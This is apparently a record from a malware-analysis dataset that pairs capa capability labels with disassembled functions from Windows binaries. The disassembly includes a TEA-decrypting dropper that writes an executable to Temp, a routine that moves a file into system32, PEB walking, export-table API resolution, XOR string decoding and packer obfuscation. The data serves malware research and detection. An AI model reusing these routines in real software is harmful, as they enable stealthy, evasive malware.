joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140976501
Capabilities:
Get thread local storage value
Set thread local storage value

Disassembly:
jne 0x140013d35
mov r8, qword [rsp + 0x40]
lea r14, [r15 + r15*2 - 0x1c628adb]
xor byte [rsp + 0x20], 0x88

Function at 0x140982ff5
Capabilities:
Set thread local storage value

Disassembly:
movzx r15w, byte [rsp + r15*2 + 0x66]
mov r15, qword [rsp + r15 + 0x10]
xor word [rsp + 0x60], 0xce2c

Function at 0x140983022
Capabilities:
Set thread local storage value

Disassembly:
call fcn.1408a9f9c
movsb byte [rdi], byte [rsi]
mov r11, rsi
test esi, esi
je 0x1408a90a6
mov rdx, qword [rdi]
nop dword [rax]
movzx ecx, word [rdx]
call fcn.1408a8e30
add rdx, 2
sub r11, 1
mov word [rdx - 2], ax
jne 0x1408a9090
mov al, 1
mov rbp, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rbx, qword [rsp + 0x50]
add rsp, 0x30
pop rdi
ret
jb 0x14098303f
push r8
movabs r8, 0x84bb549c778bc205
mov rax, qword [rsp + rdi - 0x1dff6755]
mov rax, qword [rax + rdi - 0x1dff676d]
mov qword [rsp + 0x18], rdi
cmp edi, dword [rsp + rdi*2 - 0x3bfecec1]
call fcn.1409615bd
push r11
pushfq
movabs r11, 0xa5ad2f300f2dd9b1
not r11d
not r11w
xchg qword [rsp + 0x18], rdx
push 0xffffffffd13ab00c
or r11d, dword [rsp + 1]
call fcn.14096ccf6
sbb al, 0xcc
int3
movabs r11, 0xe21f2f2ed616b98a
shr r10w, cl
pop r11
shr r10d, cl
pop r14
mov r10, qword [rsp + rcx - 0x64e9]
add cl, 8
xor cl, ch
jb 0x1408a9079
call fcn.140965171
push rsi
push 0xffffffffff18ce81
not dword [rsp]
lea rdi, [rdi + 1]
jns 0x140984e2b
js 0x1408a94c8
or ecx, r10d
push r11
sub rcx, 0xffffffff98b778b6
lea rdx, [rdx - 0x4fef7a72]
movsx r14, r10w
add r10w, cx
movzx rcx, r10w
setb cl
xchg qword [rsp + rcx*4 - 0x193d4], rdx
mov rdi, qword [rsp + 0x18]
cmp r14w, cx
js 0x140930f45
invalid
push rcx
sub word [rsp + 8], 0xda3b
call fcn.14094c78d

Function at 0x140996e8e
Capabilities:
Set thread local storage value

Disassembly:
lea r14, [r14*2 + 0x21f0f3c]
xor r14d, r14d
sub r14w, 0xa3bb
cmp r14w, 0x360a
lea rdx, [rdx + r14 - 0x5c44]
push r13
setb r14b
sub r14b, 0
mov qword [rsp + r14*2 - 0xb7c8], rdx
seto r14b
push rbx
mov r13, r14
movabs rbx, 0x88b64928a8986117
add qword [rsp + 0x20], 0xfffffffffff63ed9
lea rbx, [r13 + r14*2 + 0x4e905f36]
add qword [rsp + rbx - 0x4e917326], 0xd2999
shl r13, 0x60
lea r14, [rbx + r14*8 + 0x442fdd9d]
xor r13d, 0x1abe3e8e
lea r13, [r14 + r13*4 - 0x14ebbee8]
add qword [rsp + 0x18], 0xffffffffbf76ac3d
mov rdx, rbx
call fcn.1408afc87
jl 0x1408961f0

Function at 0x1409ae140
Capabilities:
Encode data using xor

Disassembly:
xchg qword [rsp + 0x10], rax
push r8
movabs r8, 0x39bd62129089229b
call fcn.1409b981c

Function at 0x1409afc8f
Capabilities:
Packed with generic packer

Disassembly:
lea rsp, [rsp + 0x30]
ret
jb 0x140968024
mov rbp, qword [rsp + 8]
movabs r11, 0x52803304af129911
movabs r14, 0xb13b4b0bb69850bb
movzx r11, r11b
mov r11, qword [rsp + 0x18]
and r14w, 0x653c
xor r14, r14
add r14d, dword [rsp + r14 + 0x44]
jg 0x1408af929
test byte [rsp + r14 + 0x40], 0x91
call fcn.140909c3a
and dword [0x1749ffce4], eax
invalid
Function at 0x1409b955d
Capabilities:
Allocate thread local storage

Disassembly:
jmp qword [sym.imp.KERNEL32.dll_TlsAlloc]
test rdi, 0x40874b89
movzx rdi, di
mov edi, 0xdf381834
jle 0x14089cd47
jb 0x14001b4d8
sub rdi, 0x1e3f692f
test edi, 0x83881e91
add qword [rsp + 0x28], 0x9b28
movzx rdi, dil
movabs rbx, 0x883bad8ce0138505
mov edi, 0x9c216aa2
lea rdi, [rdi + rbx*8 + 0x38a38287]
mov rbx, qword [rsp + 0x28]
mov rbx, qword [rbx]
lea rdi, [rdi*2 - 0x7ae1a058]
or edi, edi
add di, di
call fcn.140967f6d
push rax
call fcn.140929525

Function at 0x1409bd551
Capabilities:
Encode data using xor

Disassembly:
xor dword [rsp + 0x40], r15d
pop r15
setns byte [rsp + 0x38]
test r14b, r14b
call fcn.1409aceb9
xor r11d, 0x6a19b00a
push r15
mov byte [rsp + r14 + 0x40], 0x16
mov qword [rsp + 0x40], r14
movabs r15, 0xf5ac159780b0b8af
xchg qword [rsp + r14*2 + 0x48], rax
mov r11, qword [rsp + r14 + 0x20]
lea r14, [r15*2 - 0x2dd1325d]
jno 0x14096952a

Function at 0x14140846b
Capabilities:
Encrypt data using rc4 prga

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rdi
sar r10, 0xd
inc r11d
xor edi, edi
movzx ebx, r8b
not r8b
jmp 0x14140848f
mov r11, rcx
movsx r9w, spl
movzx r8, ax
mov r8, rdi
movsx r10, cx
jmp 0x1414084ab
nop
bswap r9
cmovbe r10w, di
movzx r9d, byte [r11]
movsx r10d, sp
movzx r10d, byte [rdx]
jmp 0x1414084c5
inc r11
jmp 0x1414084cd
inc rdx
cmp dl, 0x8a
test bl, bl
jmp 0x1414084da
je 0x1414084fc
mov ecx, r8d
btr rax, rdx
mov eax, 0x70b216b7
rol eax, cl
add al, r8b
xor r9b, al
jmp 0x1414084f9
inc r8
test r9b, r9b
jmp 0x141408504
je 0x141408518
cmp r9b, r10b
jmp 0x141408512
je 0x1414084b4
cmp r9b, r10b
jmp 0x141408520
jae 0x141408541
or eax, 0xffffffff
mov rbx, qword [rsp + 8]
jmp 0x141408536
mov rdi, qword [rsp + 0x10]
jmp 0x141408540
ret
mov rbx, qword [rsp + 8]
movsx ax, r15b
seta dil
mov eax, edi
movsxd rdi, esi
xchg rdi, rdi
not edi
mov rdi, qword [rsp + 0x10]
jmp 0x141408563
ret
Function at 0x180001370
Capabilities:
Decrypt data using tea
Encode data using xor
Write file on windows

Disassembly:
push rbx
sub rsp, 0x50
movss xmm0, dword [0x18000fea0]
xor ebx, ebx
call fcn.1800094d8
movaps xmm5, xmm0
comiss xmm5, dword [0x18000fe9c]
jbe 0x180001460
mov qword [rsp + 0x68], rbp
mov ebp, dword [0x1800658a8]
mov qword [rsp + 0x70], rsi
mov esi, dword [0x1800658a4]
mov qword [rsp + 0x48], rdi
mov edi, dword [0x1800658a0]
mov qword [rsp + 0x40], r12
mov r12d, dword [0x1800658ac]
lea rdx, [0x1800132a0]
nop dword [rax]
mov r8d, dword [rdx]
mov r9d, dword [rdx + 4]
mov r10d, 0xc6ef3720
mov r11d, 0x20
nop word [rax + rax]
mov ecx, r8d
mov eax, r8d
shr ecx, 5
shl eax, 4
add ecx, r12d
add eax, ebp
xor ecx, eax
lea eax, [r10 + r8]
xor ecx, eax
sub r9d, ecx
mov ecx, r9d
mov eax, r9d
shr ecx, 5
shl eax, 4
add ecx, esi
add eax, edi
xor ecx, eax
lea eax, [r10 + r9]
add r10d, 0x61c88647
xor ecx, eax
sub r8d, ecx
dec r11
jne 0x1800013f0
inc ebx
mov dword [rdx], r8d
mov dword [rdx + 4], r9d
add rdx, 8
movd xmm0, ebx
cvtdq2ps xmm0, xmm0
comiss xmm5, xmm0
ja 0x1800013d0
mov r12, qword [rsp + 0x40]
mov rdi, qword [rsp + 0x48]
mov rsi, qword [rsp + 0x70]
mov rbp, qword [rsp + 0x68]
mov qword [rsp + 0x30], 0
lea rcx, str.C:Users_adminAppDataLocalTemp10926.exe
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x1800014d8
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_SetFilePointer]
lea r9, [rsp + 0x60]
lea rdx, [0x1800132a0]
mov r8d, 0x52600
mov rcx, rbx
mov qword [rsp + 0x20], 0
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
add rsp, 0x50
pop rbx
ret
Function at 0x1800014f0
Capabilities:
Move file
Query environment variable

Disassembly:
sub rsp, 0x488
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x470], rax
dec edx
jne 0x180001695
lea rcx, str.ntdll.dll
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
lea rdx, str.NtQuerySystemInformation
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov qword [0x180066df8], rax
test rax, rax
je 0x180001567
xor r9d, r9d
lea rdx, [rsp + 0x30]
lea r8d, [r9 + 0x20]
lea ecx, [r9 + 3]
call rax
mov r9, qword [rsp + 0x30]
lea r8, str._I64X
lea rcx, [rsp + 0x50]
mov edx, 0x14
call fcn.1800018f0
lea rax, str.1D9F5C652C34940
lea r8, [rsp + 0x50]
sub r8, rax
nop word [rax + rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x180001593
inc rax
test ecx, ecx
jne 0x180001580
test edx, edx
je 0x180001695
cmp dword [0x180066df0], 0
jne 0x180001695
mov qword [rsp + 0x490], rbx
mov dword [0x180066df0], 1
mov qword [rsp + 0x480], rdi
call fcn.180001370
lea r8, str.C:Users_adminAppDataLocalTemp10926.exe
lea rcx, [rsp + 0x70]
mov edx, 0x400
call fcn.180001a30
lea rcx, [rsp + 0x70]
call fcn.180001090
mov ecx, 0x400
call fcn.180001978
mov ecx, 0x400
mov rbx, rax
call fcn.180001978
lea rcx, [0x18000fe64]
mov r8d, 0x400
mov rdx, rbx
mov rdi, rax
call qword [sym.imp.KERNEL32.dll_GetEnvironmentVariableA]
mov r8d, 0x1000
mov rdx, rdi
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_GetShortPathNameA]
mov rcx, rbx
call fcn.180001938
mov ecx, 0x400
call fcn.180001978
mov rbx, rax
call qword [sym.imp.KERNEL32.dll_GetTickCount]
lea r9, str._s_d.iao
mov dword [rsp + 0x28], eax
or r8, 0xffffffffffffffff
mov edx, 0x400
mov rcx, rbx
mov qword [rsp + 0x20], rdi
call fcn.180001914
lea rcx, str.c:windows_system32mstracer.dll
mov rdx, rbx
call qword [sym.imp.KERNEL32.dll_MoveFileA]
mov rcx, rdi
call fcn.180001938
mov rcx, rbx
call fcn.180001938
mov rdi, qword [rsp + 0x480]
mov rbx, qword [rsp + 0x490]
mov eax, 1
mov rcx, qword [rsp + 0x470]
xor rcx, rsp
call fcn.1800016d0
add rsp, 0x488
ret
Function at 0x180001deb
Capabilities:
Terminate process

Disassembly:
cmp rcx, qword [section..data]
jne 0x1800016ea
rol rcx, 0x10
test cx, 0xffff
jne 0x1800016e6
repz ret
ror rcx, 0x10
jmp 0x180001d44
mov qword [rsp + 8], rcx
sub rsp, 0x88
lea rcx, [0x180065e80]
call qword [sym.imp.KERNEL32.dll_RtlCaptureContext]
mov rax, qword [0x180065f78]
mov qword [rsp + 0x58], rax
xor r8d, r8d
lea rdx, [rsp + 0x60]
mov rcx, qword [rsp + 0x58]
call sub.KERNEL32.dll_RtlLookupFunctionEntry
mov qword [rsp + 0x50], rax
cmp qword [rsp + 0x50], 0
je 0x180001dc9
mov qword [rsp + 0x38], 0
lea rax, [rsp + 0x48]
mov qword [rsp + 0x30], rax
lea rax, [rsp + 0x40]
mov qword [rsp + 0x28], rax
lea rax, [0x180065e80]
mov qword [rsp + 0x20], rax
mov r9, qword [rsp + 0x50]
mov r8, qword [rsp + 0x58]
mov rdx, qword [rsp + 0x60]
xor ecx, ecx
call sub.KERNEL32.dll_RtlVirtualUnwind
jmp 0x180001deb
mov rax, qword [rsp + 0x88]
mov qword [0x180065f78], rax
lea rax, [rsp + 0x88]
add rax, 8
mov qword [0x180065f18], rax
mov rax, qword [0x180065f78]
mov qword [0x180065df0], rax
mov rax, qword [rsp + 0x90]
mov qword [0x180065f00], rax
mov dword [0x180065de0], 0xc0000409
mov dword [0x180065de4], 1
mov rax, qword [section..data]
mov qword [rsp + 0x68], rax
mov rax, qword [0x180012008]
mov qword [rsp + 0x70], rax
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
mov dword [0x180065e78], eax
mov ecx, 1
call fcn.180004d5c
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetUnhandledExceptionFilter]
lea rcx, [0x18000e368]
call qword [sym.imp.KERNEL32.dll_UnhandledExceptionFilter]
cmp dword [0x180065e78], 0
jne 0x180001e72
mov ecx, 1
call fcn.180004d5c
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov edx, 0xc0000409
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
add rsp, 0x88
ret
Function at 0x180008294
Capabilities:
Link many functions at runtime

Disassembly:
push rbx
push rbp
push rsi
push rdi
push r12
push r13
push r14
sub rsp, 0x50
mov rax, qword [section..data]
xor rax, rsp
mov qword [rsp + 0x48], rax
mov ebp, r8d
mov r14, rdx
mov r13, rcx
call fcn.180002a54
xor ebx, ebx
cmp qword [0x180066db8], rbx
mov rdi, rax
jne 0x1800083a7
lea rcx, str.USER32.DLL
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rsi, rax
test rax, rax
je 0x18000847e
lea rdx, str.MessageBoxW
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
je 0x18000847e
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetActiveWindow
mov rcx, rsi
mov qword [0x180066db8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetLastActivePopup
mov rcx, rsi
mov qword [0x180066dc0], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
lea rdx, str.GetUserObjectInformationW
mov rcx, rsi
mov qword [0x180066dc8], rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov r11, rax
mov qword [0x180066dd8], rax
test rax, rax
je 0x18000839e
lea rdx, str.GetProcessWindowStation
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_EncodePointer]
mov qword [0x180066dd0], rax
jmp 0x1800083ae
mov rax, qword [0x180066dd0]
jmp 0x1800083b5
mov rax, qword [0x180066dd0]
mov r11, qword [0x180066dd8]
cmp rax, rdi
je 0x18000841c
cmp r11, rdi
je 0x18000841c
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov rcx, qword [0x180066dd8]
mov rsi, rax
call qword [sym.imp.KERNEL32.dll_DecodePointer]
mov r12, rax
test rsi, rsi
je 0x18000841c
test rax, rax
je 0x18000841c
call rsi
test rax, rax
je 0x180008416
lea rcx, [rsp + 0x30]
mov r9d, 0xc
lea r8, [rsp + 0x38]
mov qword [rsp + 0x20], rcx
lea edx, [r9 - 0xb]
mov rcx, rax
call r12
test eax, eax
je 0x180008416
test byte [rsp + 0x40], 1
jne 0x18000841c
bts ebp, 0x15
jmp 0x18000845c
mov rcx, qword [0x180066dc0]
cmp rcx, rdi
je 0x18000845c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000845c
call rax
mov rbx, rax
test rax, rax
je 0x18000845c
mov rcx, qword [0x180066dc8]
cmp rcx, rdi
je 0x18000845c
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000845c
mov rcx, rbx
call rax
mov rbx, rax
mov rcx, qword [0x180066db8]
call qword [sym.imp.KERNEL32.dll_DecodePointer]
test rax, rax
je 0x18000847e
mov r9d, ebp
mov r8, r14
mov rdx, r13
mov rcx, rbx
call rax
jmp 0x180008480
xor eax, eax
mov rcx, qword [rsp + 0x48]
xor rcx, rsp
call fcn.1800016d0
add rsp, 0x50
pop r14
pop r13
pop r12
pop rdi
pop rsi
pop rbp
pop rbx
ret
Function at 0x140001340
Capabilities:
Access peb ldr_data

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x18], rbp
mov qword [rsp + 0x20], rsi
push rdi
sub rsp, 0x490
mov rax, qword [0x140165020]
xor rax, rsp
mov qword [rsp + 0x480], rax
mov rax, qword gs:[0x60]
mov rsi, rdx
mov rdi, qword [rax + 0x18]
add rdi, 0x20
mov rbx, qword [rdi]
cmp rbx, rdi
je 0x14000146d
xor ebp, ebp
nop dword [rax + rax]
xor edx, edx
lea rcx, [rsp + 0x150]
mov r8d, 0x104
call fcn.14000a990
xor edx, edx
lea rcx, [rsp + 0x40]
mov r8d, 0x104
call fcn.14000a990
mov r8, qword [rbx + 0x40]
lea rax, [rsp + 0x150]
mov qword [rsp + 0x38], rbp
mov r9d, 0xffffffff
mov qword [rsp + 0x30], rbp
xor edx, edx
mov dword [rsp + 0x28], 0x104
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [0x140024008]
mov r8, rsi
lea rcx, [rsp + 0x40]
mov edx, 0x104
call fcn.14000ee88
lea r8, [rsp + 0x40]
mov edx, 0x104
lea rcx, [rsp + 0x260]
call fcn.14000ee88
lea r8, [rsp + 0x150]
mov edx, 0x104
lea rcx, [rsp + 0x370]
call fcn.14000ee88
lea rcx, [rsp + 0x260]
call fcn.14000f10c
lea rcx, [rsp + 0x370]
call fcn.14000f10c
lea rdx, [rsp + 0x260]
lea rcx, [rsp + 0x370]
call fcn.140009fdc
test rax, rax
jne 0x140001498
mov rbx, qword [rbx]
cmp rbx, rdi
jne 0x140001390
xor eax, eax
mov rcx, qword [rsp + 0x480]
xor rcx, rsp
call fcn.140008230
lea r11, [rsp + 0x490]
mov rbx, qword [r11 + 0x10]
mov rbp, qword [r11 + 0x20]
mov rsi, qword [r11 + 0x28]
mov rsp, r11
pop rdi
ret
mov rax, qword [rbx + 0x20]
jmp 0x14000146f

Function at 0x1400014a0
Capabilities:
Resolve function by parsing pe exports

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rbp
mov qword [rsp + 0x18], rsi
mov qword [rsp + 0x20], rdi
movsxd rax, dword [rdx + 0x3c]
mov rdi, r8
mov r11, rdx
cmp dword [rax + rdx + 0x8c], 0
je 0x140001523
mov eax, dword [rax + rdx + 0x88]
xor r9d, r9d
add rax, rdx
mov esi, dword [rax + 0x1c]
mov ebp, dword [rax + 0x24]
add rsi, rdx
mov r10d, dword [rax + 0x20]
add rbp, rdx
mov ebx, dword [rax + 0x18]
add r10, rdx
test ebx, ebx
je 0x140001523
nop
mov eax, dword [r10]
mov r8, rdi
add rax, r11
sub r8, rax
nop dword [rax]
movzx edx, byte [rax]
movzx ecx, byte [rax + r8]
sub edx, ecx
jne 0x140001513
inc rax
test ecx, ecx
jne 0x140001500
test edx, edx
je 0x14000153a
inc r9d
add r10, 4
cmp r9d, ebx
jb 0x1400014f0
xor eax, eax
mov rbx, qword [rsp + 8]
mov rbp, qword [rsp + 0x10]
mov rsi, qword [rsp + 0x18]
mov rdi, qword [rsp + 0x20]
ret
movzx ecx, word [rbp + r9*2]
mov eax, dword [rsi + rcx*4]
add rax, r11
jmp 0x140001525
Function at 0x140001550
Capabilities:
Encode data using xor

Disassembly:
mov qword [rsp + 8], rbx
push rbp
mov rbp, rsp
sub rsp, 0x50
mov eax, dword [0x14015ff78]
xor ecx, ecx
cmp dword [0x140165030], 2
mov rbx, rdx
movsd xmm0, qword [0x14015ff70]
mov dword [rbp - 0x18], eax
movzx eax, byte [0x14015ff7c]
mov byte [rbp - 0x14], al
movsd qword [rbp - 0x20], xmm0
jl 0x1400016a7
movdqa xmm2, xmmword [0x1401600e0]
mov eax, 5
movdqa xmm3, xmmword [0x1401600f0]
movdqa xmm1, xmm2
movdqa xmm4, xmmword [0x140160150]
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
mov ecx, 8
punpckldq xmm1, xmm2
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
movaps xmmword [rsp + 0x40], xmm6
movd xmm6, eax
mov eax, 0x1f
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
movd xmm5, eax
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140160110]
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [0x14015ff70]
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140160120]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140160130]
xorps xmm2, xmm0
punpckldq xmm1, xmm3
movd dword [rbp - 0x20], xmm2
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movaps xmm6, xmmword [rsp + 0x40]
movdqa xmm0, xmm1
psrld xmm0, xmm5
paddd xmm0, xmm1
pmulld xmm0, xmmword [0x140160110]
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, dword [rbp - 0x1c]
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140160120]
packuswb xmm2, xmm2
paddb xmm2, xmmword [0x140160130]
xorps xmm2, xmm0
movd dword [rbp - 0x1c], xmm2
movsxd rax, ecx
lea r8, [rbp - 0x20]
add r8, rax
nop dword [rax]
nop word [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0xd
jl 0x1400016c0
cmp byte [0x14015ff89], 0
movsd xmm0, qword [0x14015ff80]
movzx eax, word [0x14015ff88]
movsd qword [rbp - 0x30], xmm0
mov word [rbp - 0x28], ax
je 0x140001738
xor byte [rbp - 0x2f], 0x34
xor byte [rbp - 0x2e], 0x35
xor byte [rbp - 0x2d], 0x36
xor byte [rbp - 0x2c], 0x37
xor byte [rbp - 0x2b], 0x38
xor byte [rbp - 0x2a], 0x39
xor byte [rbp - 0x29], 0x3a
xor byte [rbp - 0x28], 0x3b
xor byte [rbp - 0x27], 0x3c
mov byte [rbp - 0x30], 0x6e
lea rdx, [rbp - 0x30]
call fcn.140001340
lea r8, [rbp - 0x20]
mov rdx, rax
call fcn.1400014a0
test rax, rax
je 0x140001757
mov rcx, rbx
call rax
mov rbx, qword [rsp + 0x60]
add rsp, 0x50
pop rbp
ret
Function at 0x140001a30
Capabilities:
Encode data using xor

Disassembly:
push rbp
mov rbp, rsp
sub rsp, 0x80
movups xmm0, xmmword [0x14015ffc0]
movzx eax, byte [0x14015ffd0]
xor ecx, ecx
cmp dword [0x140165030], 2
movups xmmword [rbp - 0x50], xmm0
mov byte [rbp - 0x40], al
jl 0x140001bca
movdqa xmm0, xmmword [0x140160130]
lea rdx, [rbp - 0x4c]
movdqa xmm5, xmmword [0x1401600e0]
mov eax, 5
movdqa xmm4, xmmword [0x140160150]
movaps xmmword [rsp + 0x70], xmm6
movaps xmmword [rsp + 0x60], xmm7
movdqa xmm7, xmmword [0x140160110]
movd xmm6, eax
mov eax, 0x1f
movaps xmmword [rsp + 0x50], xmm8
movdqa xmmword [rbp - 0x60], xmm0
mov r8d, dword [rbp - 0x60]
movd xmm8, eax
movd xmm2, ecx
lea eax, [rcx + 4]
pshufd xmm2, xmm2, 0
lea rdx, [rdx + 8]
paddd xmm2, xmm5
movd xmm3, eax
movdqa xmm1, xmm2
pshufd xmm3, xmm3, 0
punpckldq xmm1, xmm2
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
paddd xmm3, xmm5
pmuldq xmm0, xmm4
add ecx, 8
pmuldq xmm1, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
movdqa xmm1, xmm3
andps xmm2, xmmword [0x140160120]
packuswb xmm2, xmm2
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movd xmm0, r8d
paddb xmm2, xmm0
movd xmm0, dword [rdx - 0xc]
xorps xmm2, xmm0
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
movd dword [rdx - 0xc], xmm2
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, xmm6
movdqa xmm0, xmm1
psrld xmm0, xmm8
paddd xmm0, xmm1
pmulld xmm0, xmm7
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
movd xmm0, r8d
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x140160120]
packuswb xmm2, xmm2
paddb xmm2, xmm0
movd xmm0, dword [rdx - 8]
xorps xmm2, xmm0
movd dword [rdx - 8], xmm2
cmp ecx, 0x10
jl 0x140001ab0
movaps xmm8, xmmword [rsp + 0x50]
movaps xmm7, xmmword [rsp + 0x60]
movaps xmm6, xmmword [rsp + 0x70]
cmp ecx, 0x11
jge 0x140001c0f
movsxd rax, ecx
lea r8, [rbp - 0x50]
add r8, rax
nop dword [rax]
nop dword [rax + rax]
mov eax, 0x8d3dcb09
lea r8, [r8 + 1]
imul ecx
add edx, ecx
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul edx, eax, 0x3a
movzx eax, cl
inc ecx
sub al, dl
add al, 0x33
xor byte [r8 - 1], al
cmp ecx, 0x11
jl 0x140001be0
cmp byte [0x14015ff89], 0
movsd xmm0, qword [0x14015ff80]
movzx eax, word [0x14015ff88]
movsd qword [rbp - 0x60], xmm0
mov word [rbp - 0x58], ax
je 0x140001c58
xor byte [rbp - 0x5f], 0x34
xor byte [rbp - 0x5e], 0x35
xor byte [rbp - 0x5d], 0x36
xor byte [rbp - 0x5c], 0x37
xor byte [rbp - 0x5b], 0x38
xor byte [rbp - 0x5a], 0x39
xor byte [rbp - 0x59], 0x3a
xor byte [rbp - 0x58], 0x3b
xor byte [rbp - 0x57], 0x3c
mov byte [rbp - 0x60], 0x6e
lea rdx, [rbp - 0x60]
call fcn.140001340
lea r8, [rbp - 0x50]
mov rdx, rax
call fcn.1400014a0
test rax, rax
je 0x140001c7d
call rax
add rsp, 0x80
pop rbp
ret
add rsp, 0x80
pop rbp
ret